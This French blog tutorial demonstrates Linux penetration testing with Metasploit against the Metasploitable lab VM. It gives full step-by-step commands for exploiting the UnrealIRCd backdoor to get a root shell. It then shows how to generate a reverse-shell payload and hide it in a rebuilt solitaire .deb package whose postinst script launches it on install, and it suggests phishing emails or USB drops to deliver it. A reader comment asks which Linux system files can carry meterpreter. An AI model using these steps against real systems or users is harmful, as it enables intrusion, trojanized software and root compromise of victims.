Pentest Linux avec Metasploit

Suite à l’article précédent qui présentait Metasploit et traitait de la préparation du Workspace, voyons à présent comment réaliser un Pentest sur un système Linux.

 

Pour réaliser un Pentest, il vous faut donc Metasploit.

 

Il vous faut aussi bien évidement une cible de test. Comme mentionné dans l’un des précédents articles, la machine virtuelle Metasploitable est idéale pour les Pen Test Linux.

 

1) Exploiter une vulnérabilité

 

Premièrement, il nous faut identifier une faille à exploiter.

 

Deux solutions s’offrent à vous :

  • Lister les vulnérabilités d’une cible depuis la console Msf
  • Utiliser le rapport fourni par l’interface Web d’OpenVAS ou Nessus

 

A vous de faire le choix en fonctions des options qui s’offrent à vous.

 

Commençons par utiliser l’interface Web.

Reprenons donc le rapport d’OpenVAS que nous avons importé dans le Workspace.

 

Dans ce rapport, une faille était identifiée.

Faille Metasploitable

Il s’agit d’une Backdoor nous permettant d’exécuter des commandes système.

 

Cette faille semble idéale pour prendre la main à distance.

 

Si vous souhaitez utiliser la CLI, il vous faut au préalable avoir créé un Workspace, et y avoir importé un rapport.

Voici comment lister les vulnérabilités des hôtes du Workspace :

msf > vulns
[*] Time: 2014-04-03 21:54:06 UTC Vuln: host=192.168.1.219 name=NSS-103185 refs=URL-http,URL-http,URL-http,BID-48539,URL-https,NSS-103185
[*] Time: 2014-04-03 21:54:07 UTC Vuln: host=192.168.1.219 name=NSS-103553 refs=URL-http,URL-http,URL-http,URL-http,CVE-2004-2687,NSS-103553
[*] Time: 2014-04-03 21:54:07 UTC Vuln: host=192.168.1.219 name=NSS-12638 refs=NSS-12638
…
[*] Time: 2014-04-03 21:54:10 UTC Vuln: host=192.168.1.219 name=NSS-80111 refs=URL-http,URL-http,URL-http,CVE-2010-2075,BID-40820,NSS-80111

 

La commande vulns –I vous permet d’obtenir plus de détails sur les vulnérabilités.

 

Vous conviendrez que l’utilisation de l’interface Web est bien plus aisée.

Dans la console Msf, recherchons un exploit correspondant à cette faille, à l’aide de son identifiant CVE.

msf > search cve:2010-2075

Matching Modules
================

   Name                                        Disclosure Date          Rank       Description
   ----                                        ---------------          ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12 00:00:00 UTC  excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution

 

Il existe un exploit pour cette faille.

Utilisons-le.

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) >

 

A présent, il nous faut définir la cible.

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.219
RHOST => 192.168.1.219

 

Vous pouvez lister les options actuelles comme suit :

msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.219    yes       The target address
   RPORT  6667             yes       The target port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

 

Nous avons donc un exploit à utiliser contre la cible.

Il nous faut à présent une payload.

msf exploit(unreal_ircd_3281_backdoor) > show payloads
Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double Reverse TCP (telnet)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

A partir de cette liste, il faut choisir une payload.

Pour ouvrir une session, il faut une payload du type Bind.

Les Reverse seront utilisées pour les exploits asynchrone.

 

Prenons par exemple cmd/unix/bind_ruby

msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby

 

Il ne reste plus qu’à lancer l’exploit.

msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started bind handler
[*] Connected to 192.168.1.219:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Command shell session 1 opened (192.168.1.210:57066 -> 192.168.1.219:4444) at 2014-04-04 05:09:44 +0200

 

A partir d’ici, nous avons accès au shell de la machine distante !

Vous pouvez entrer les commandes que vous souhaitez.

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

free m
             total       used       free     shared    buffers     cached
Mem:        515448     471592      43856          0      77924     136592
-/+ buffers/cache:     257076     258372
Swap:            0          0          0

id
uid=0(root) gid=0(root)

Vous êtres root, vous pouvez faire ce que vous souhaitez.

 

2) Exploit Asynchrone

 

Fichier exécutable

Nous avons vu comment exploiter une faille sur une machine. Mais comment faire si la cible de possède pas de faille ?

 

Il nous est alors possible de réaliser un exploit asynchrone.

 

Pour cela, nous allons créer un fichier malveillant, et forcer la cible à exécuter ce fichier.

Pour forcer la cible à exécuter le fichier, les techniques sont diverses :

  • Envoie du fichier par mail, en faisant croire à un mail légitime
  • Donner le fichier à l’aide d’une clé USB
  • Copier le fichier soit même sur la machine cible
  • Etc…

L’exploit asynchrone fait souvent appel à du Social Engineering.

C’est-à-dire qu’il va nous falloir convaincre la victime de récupérer et exécuter le fichier.

 

Le fichier malveillant peut être de tout type (document, exécutable, etc…).

 

Quand la victime ouvrira ce fichier, cela aura pour effet « d’appeler » l’attaquant.

 

Sur la machine de l’attaquant, le Handler a pour but de capter cet appel.

 

Commençons donc par créer ce fichier.

Comme précédemment, nous souhaitons ouvrir une session console vers la victime.

 

Commençons par lister les payload disponibles.

msf> msfpayload –l
…
linux/x86/shell_reverse_tcp                      Connect back to attacker and spawn a command shell
…

Dans la liste qui s’affiche, vous pouvez choisir la payload qui vous convient.

Pour les Handlers, il faut choisir une Reverse.

 

Si la liste s’affiche mal, vous pouvez rediriger la sortie de commande dans un fichier :

msf> msfpayload -l  > /payload.txt

 

Nous allons donc choisir la payload indiquée précédemment.

root@kali:~# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.210 LPORT=3456 X > Pacman
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 71
Options: {"LHOST"=>"192.168.1.210", "LPORT"=>"3456"}

Nous avons donc créé un fichier malveillant appelé Pacman qui lancera un appel vers 192.168.1.210.

Le port utilisé est le 3456.

 

A présent, il faut upploader ce fichier sur la machine cible.

msfadmin@metasploitable:~$ ls
Pacman

 

Ensuite, nous devons créer le Handler, pour capturer l’appel venant de la victime.

msf> use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

 

Nous pouvons ensuite spécifier le port utilisé pour l’appel, ainsi que l’IP.

msf exploit(handler) > set LPORT 3456
LPORT => 3456
msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0

 

Nous pouvons lancer le Handler

msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:3456
[*] Starting the payload handler...

 

A présent, lançons le fichier malveillant sur la cible.

Si vous n’avez pas d’interface graphique, voici la commande pour exécuter le fichier.

msfadmin@metasploitable:~$ ./Pacman

 

De retour dans la console Msf, nous pouvons voir que l’appel est arrivé.

[*] Sending stage (36 bytes) to 192.168.1.219
[*] Command shell session 2 opened (192.168.1.210:3456 -> 192.168.1.219:37862) at 2014-04-04 06:04:28 +0200

 

Vous avez à présent accès à la console.

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

 

Package malveillant

Nous avons donc vu comment créer notre premier exploit asynchrone.

Mais il s’agissait là d’un fichier binaire à exécuter.

Il y a peu de chance que vous puissiez piéger quelqu’un avec cela.

 

Nous allons donc créer un package malveillant.

Ce package contiendra le jeu du solitaire, plus notre payload.

 

En voulant installer le jeu, l’utilisateur exécutera aussi la payload.

Nous prendrons donc la main alors que la victime utilisera le jeu nouvellement installé.

De plus, si l’utilisateur ferme le jeu, l’exploit lui sera toujours en fonction !

 

Commençons donc par récupérer un package à corrompre.

root@kali:~# mkdir hack

root@kali:~# cd hack/

root@kali:~/hack# apt-get --download-only install pysol

Pysol est un jeu de solitaire.

root@kali:~/hack# ls
pysol_4.82.1-4.1ubuntu7_all.deb

 

Nous pouvons maintenant extraire le package.

root@kali:~/hack# dpkg -x pysol_4.82.1-4.1ubuntu7_all.deb pysol

root@kali:~/hack# cd pysol/

 

A présent, l’idée est d’inclure notre payload dans le package.

Afin que la payload soit lancée, il nous faut apporter quelques modifications au package, avant de le reconstruire.

Premièrement, créer un dossier DEBIAN.

root@kali:~/hack/pysol# mkdir DEBIAN

 

Créez-y un fichier control rempli comme suit :

root@kali:~/hack/pysol# nano DEBIAN/control
Package: pysol
Version: 4.8
Section: Games
Priority: optional
Architecture: i386
Maintainer: OK
Description: OK

 

Créer aussi un fichier postint.

root@kali:~/hack/pysol# nano DEBIAN/postinst
#!/bin/sh
sudo chmod 2755 /usr/games/pysol_int && /usr/games/pysol_int & /usr/games/pysol &

 

Il s’agit là d’un script qui va exécuter le jeu (fichier pysol) plus la payload (fichier pysol_int).

A présent, créons une payload.

root@kali:~# msfconsole

msf > msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.210 LPORT=1234 X > pysol_int

 

Rapatrions la payload dans le bon dossier.

root@kali:~/hack/pysol# mv /root/pysol_int usr/games/pysol_int

 

Rendons le script postint exécutable.

root@kali:~/hack/pysol# chmod 755 DEBIAN/postinst

 

Nous pouvons à présent reconstruire le package.

root@kali:~/hack# dpkg --build pysol/
dpkg-deb: building package `pysol' in `pysol.deb'.

 

A présent, il faut faire en sorte que la victime installe ce package.

 

Dans votre environnement de test, vous pouvez rapatrier le package en SCP sur la cible.

 

De retour dans la console Msf, il faut créer le Handler.

msf >  use exploit/multi/handler

msf exploit(handler) >  set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

msf exploit(handler) > set LPORT 1234
LPORT => 1234

msf exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0

msf exploit(handler) > exploit
[*] Started reverse handler on 0.0.0.0:1234
[*] Starting the payload handler...

 

A présent, si l’utilisateur installe le package, nous pourrons prendre la main.

 

Pour installer la package, il vous faut une machine Linux, de préférence avec une interface graphique (car le jeu nécessite une interface graphique).

Néanmoins, vous pouvez lancer l’installation dans la VM Metasploitable.

 

Vous obtiendrez des erreurs, mais la payload sera tout de même lancée.

 

Pour lancer l’installation, sans interface graphique, utiliser la commande suivante :

root@linux# dpkg -i pysol.deb

 

De retour dans la console Msf, vous verrez l’appel arriver.

[*] Command shell session 1 opened (192.168.1.210:1234 -> 192.168.1.219:49683) at 2014-04-04 13:20:39 +0200

 

Vous avez  à présent la main sur la machine !

Id
uid=0(root) gid=0(root) groups=0(root)

 

3) Conclusion

 

Nous avons donc vu comment réaliser des exploits sur un système Linux.

Je vous invite à présent à passer à l’article suivant traitant des exploits sur Windows.

 

Nous verrons que la réalisation d’exploits est très proche.

 

A l’issus de cet article, nous tirerons quelques conclusions quant aux méthodes de protection contre ce type d’exploits.

 

Tagués avec : , ,
Publié dans Pen Test
2 commentaires pour “Pentest Linux avec Metasploit
  1. root root dit :

    salut,merci bien pour votre tuto ,j’ai une question svp quel sont les fichiers système linux dont on peut injecter meterpreter par exemple dans windows on trouve notepad mais linux je ne sais pas aidez moi svp .

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

*

Le temps imparti est dépassé. Merci de saisir de nouveau le CAPTCHA.